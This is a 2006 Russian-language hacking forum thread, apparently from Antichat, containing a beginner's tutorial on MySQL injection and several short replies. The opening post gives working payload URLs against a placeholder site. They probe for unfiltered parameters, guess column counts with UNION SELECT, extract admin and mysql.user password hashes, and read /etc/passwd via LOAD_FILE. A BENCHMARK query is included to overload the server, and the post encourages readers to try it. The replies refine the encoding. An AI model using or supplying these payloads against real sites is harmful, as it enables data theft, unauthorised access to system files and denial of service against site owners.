ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

MySQL-injection для новичков
  #1  
Старый 12.03.2006, 01:10
Аватар для LoFFi
LoFFi
Участник форума
Регистрация: 21.02.2006
Сообщений: 285
Провел на форуме:
1347867

Репутация: 408
Отправить сообщение для LoFFi с помощью ICQ
По умолчанию MySQL-injection для новичков

Эта статья должна помочь новичкам с MySQL-injection
несмотря на большое колличество статей на эту же тему в Чужих Статьях решил все же
написать более доступную, так что не забрасывайте камнями =)


Итак.... Что же такое MySQL-injection вообще?
Само слово 'инъекция' означает вставку нужного нам кода
в скрипт. В данном случае это MySQL запрос. Прежде всего для того чтобы
юзать данную уязвимость надо иметь хоть какие то азы скуля...
Приступим к поэтапному анализу


Нахождение:

Первым делом находим на интересующем нас сайте скрипт, который
собственно выдает нам какую то инфу из базы, а так же для этого
использует входящий параметр. Ну вот например:

_http://www.xzkakoysite.com/list.php?id=7

Протестируем параметры на фильтрацию:

_http://www.xzkakoysite.com/list.php?id=7'
_http://www.xzkakoysite.com/list.php?id=fgdfnnvb


_http://www.xzkakoysite.com/list.php?id=8-1
или
_http://www.xzkakoysite.com/list.php?id=6%2B1

Последние два варианта - это в большинстве случаев 100% скуль-инж...




Анализируем

Ну для начала нас огорчает то, что все таки для проведения инъекции требуеться
сервер MySQL версии не ниже 4*, так как другие не поддерживают команду UNION

И так пробуем. Надо еще запомнить что иногда база может вернуть пустой запрос
и тогда мы не увидим никаких изменений, либо получим редирект на Index.php либо
еще какую нибудь гадость при ошибке 500

Для начала нам нужно угадать колличество полей. для этого используем запрос

_http://www.xzkakoysite.com/list.php?id=7+union+select+null,null/*

потом

_http://www.xzkakoysite.com/list.php?id=7+union+select+null,null,null/*

и так далее пока не получим правильный ответ от сервера. '/*' ставит в коменты
весь код после - это позволяет отбросить любой незапланированый нами скуль запрос дальше по коду.
так что ставим обязательно. вообщем немного помучавшись допустим мы
подобрали кол-во null.


Мы же не можем дописать код странички поэтому нам надо выбрать для себя то поле,
в которое мы, подменив данные, выведем пасс админа. для этого лучше взять какое нить
text поле, так как имеет найбольший размер типа данных. теперь подставляем любое слово
и смотрим на странице, где оно у нас отобразиться

_http://www.xzkakoysite.com/list.php?id=7+union+select+null,null,null,null,'lo l =)',null,null/*

Но тут есть много подводных камней.... Например кавычки могут экранироваться и т.д.
Тогда пробуем немного другой запрос

_http://www.xzkakoysite.com/list.php?id=7+union+select+1,2,3/*

Теперь определившись с местом поля, можно переходить к еще более интересному процессу...
подбор имен таблиц!... =)
Советую сразу пробовать что нить вроде pass, password, user, users и т.д.

Вообщем владея всей инфой можем составить запрос типа

_http://www.xzkakoysite.com/list.php?id=7+union+select+null,null,null,mysql.us er.password,null,null,null+from+mysql.user+limit+0 ,1/*

Ну думаю дальше разберетесь...





С помощью MySQL можно так же читать и локальные файлы
например

_http://www.xzkakoysite.com/list.php?id=7+union+select+null,LOAD_FILE('/etc/passwd'),null,null,null/*

Но это все если мы имеем достаточно прав


Вообще скуль инжекшн - очень опасная вещь. Можно даже составить DOS атаку
Например если использовать BENCHMARK. К примеру такой запрос

_http://www.xzkakoysite.com/list.php?id=BENCHMARK(10000000,BENCHMARK(10000000, md5(current_date)))

В качестве входного параметра безем дату (чтоб ковычек не содержало). Вообщем если примерно по расчету
10000000 запросов исполняеться за 5 сек(хотя это смотря какой сервер) то данный запрос будет
обрабатываться 50 сек... Пара таких запросов и сервер ляжет.

Дерзайте =))

Последний раз редактировалось LoFFi; 12.03.2006 в 16:09..
 
Ответить с цитированием

  #2  
Старый 12.03.2006, 02:31
Аватар для max_pain89
max_pain89
Постоянный
Регистрация: 11.12.2004
Сообщений: 592
Провел на форуме:
2260903

Репутация: 345


По умолчанию

Цитата:
_http://www.xzkakoysite.com/list.php?id=8-1
или
_http://www.xzkakoysite.com/list.php?id=6+1
такое не покатит, т.к. + равнозначен пробелу, но счет минуса не знаю, их нужно переводить в url
 
Ответить с цитированием

  #3  
Старый 12.03.2006, 15:53
Аватар для LoFFi
LoFFi
Участник форума
Регистрация: 21.02.2006
Сообщений: 285
Провел на форуме:
1347867

Репутация: 408
Отправить сообщение для LoFFi с помощью ICQ
По умолчанию

Цитата:
Сообщение от max_pain89  
такое не покатит, т.к. + равнозначен пробелу, но счет минуса не знаю, их нужно переводить в url
Извени =(( забыл =(( Плюс надо кодировать =((
 
Ответить с цитированием

  #4  
Старый 12.03.2006, 16:43
Аватар для Barsik
Barsik
Постоянный
Регистрация: 16.01.2005
Сообщений: 300
Провел на форуме:
3463790

Репутация: 726
Отправить сообщение для Barsik с помощью ICQ Отправить сообщение для Barsik с помощью MSN
По умолчанию

Кстати мне не очень понятно. Я делаю так
_http://www.xzkakoysite.com/list.php?id=7+union+select+1,2,3,4,5......
Это одно и тоже что и null?
_http://www.xzkakoysite.com/list.php?id=7+union+select+null,null,null
И если делать так _http://www.xzkakoysite.com/list.php?id=7+union+select+1,1,1,1,1...
То тоже получится?
И еще вопрос Почему http://www.xzkakoysite.com/list.php?...on+select+null...
тут после id=7 не стоит кавычка? Или без нее тоже можно обойтись?
 
Ответить с цитированием

  #5  
Старый 12.03.2006, 16:58
Аватар для LoFFi
LoFFi
Участник форума
Регистрация: 21.02.2006
Сообщений: 285
Провел на форуме:
1347867

Репутация: 408
Отправить сообщение для LoFFi с помощью ICQ
По умолчанию

числовой тип может быть приведен к любому типу данных, без возникновения ошибки, причем так, что сохранит свое значение.

http://www.xzkakoysite/test.php?id=9...select+1,2,3/*

Этот же фокус пройдет и там, где кавычки экранируются.

Что непонятно - стучите в асю
 
Ответить с цитированием

  #6  
Старый 12.03.2006, 17:01
Аватар для LoFFi
LoFFi
Участник форума
Регистрация: 21.02.2006
Сообщений: 285
Провел на форуме:
1347867

Репутация: 408
Отправить сообщение для LoFFi с помощью ICQ
По умолчанию

Цитата:
Сообщение от Barsik  
И еще вопрос Почему http://www.xzkakoysite.com/list.php?...on+select+null...
тут после id=7 не стоит кавычка? Или без нее тоже можно обойтись?
Ковычка типа ' ? Она нам нужна только лишь для нахождения дыры. Она модифицирует MySQL запрос производя ошибку, если запрос не фильтруеться. Поэтому когда производим иньекцию, то ' не используем. Не забывай ставить в конце запроса '/*' - это закоментит остаток запроса, если он есть.
 
Ответить с цитированием

  #7  
Старый 12.03.2006, 17:19
Аватар для Morph
Morph
Постоянный
Регистрация: 13.08.2004
Сообщений: 957
Провел на форуме:
1770063

Репутация: 429


Smile

Цитата:
Сообщение от LoFFi  
_http://www.xzkakoysite.com/list.php?id=BENCHMARK(10000000,BENCHMARK(10000000, md5(current_date)))
Улыбнуло...)
 
Ответить с цитированием

  #8  
Старый 12.03.2006, 17:32
Аватар для porter
porter
Познающий
Регистрация: 01.03.2005
Сообщений: 80
Провел на форуме:
606375

Репутация: 12
По умолчанию

а что значит
Empty result or Bad sql: SELECT A.*, IF (A.cat_left+1 < A.cat_right, 1, 0) AS nflag FROM main_ns A, main_ns B WHERE B.cat_id='7' AND A.cat_left > B.cat_left AND A.cat_right < B.cat_right ORDER BY A.cat_left
 
Ответить с цитированием

  #9  
Старый 12.03.2006, 17:38
Аватар для podkashey
podkashey
Познавший АНТИЧАТ
Регистрация: 18.06.2005
Сообщений: 1,004
Провел на форуме:
2821162

Репутация: 1320


По умолчанию

гыггыгы... не помню где, но читал статью один в один с этой. В ней тоже было написано про benchmark и md5 и current_date, правда там предлагалось в итоге не число увеличивать повторов, а брать мд5 от мд5... ИМХО в этой статье это просто вырезано.
LoFFi, ничего личного...
>> SELECT A.*, IF (A.cat_left+1 < A.cat_right, 1, 0) AS nflag FROM main_ns A, main_ns B WHERE B.cat_id='7' AND A.cat_left > B.cat_left AND A.cat_right < B.cat_right ORDER BY A.cat_left
Добавил бы еще left join какой-нить и специфические функции... Я так понял, это вопрос LoFFi?

Последний раз редактировалось podkashey; 12.03.2006 в 17:58..
 
Ответить с цитированием

  #10  
Старый 12.03.2006, 17:42
Аватар для LoFFi
LoFFi
Участник форума
Регистрация: 21.02.2006
Сообщений: 285
Провел на форуме:
1347867

Репутация: 408
Отправить сообщение для LoFFi с помощью ICQ
По умолчанию

Ну ты бы еще сказал что еще где то читал про MySQL injection, и это значит что я содрал статью. Я сам все писал, просто естественно когда то я тоже читал чужие статьи и на них учился =)
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
какОй трой ИСпоЛЬзоваТЬ длЯ поЛНого УПРАвЛЕиЕ уд.КОМПОМ? UnKn0wN E-Mail 32 08.04.2006 04:20
Делфи для Новичков. Урок 2 ~Fenix~ С/С++, C#, Delphi, .NET, Asm 13 07.03.2006 10:48
Перепрошивка Bios видеокарт ~Fenix~ Чужие Статьи 4 05.03.2006 23:08
Общие Рекомендации Защиты (MySQL и SQL Web-интерфейс) k00p3r Чужие Статьи 0 13.06.2005 11:22
Защищаем MySql. Шаг за шагом k00p3r Чужие Статьи 0 13.06.2005 11:18



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ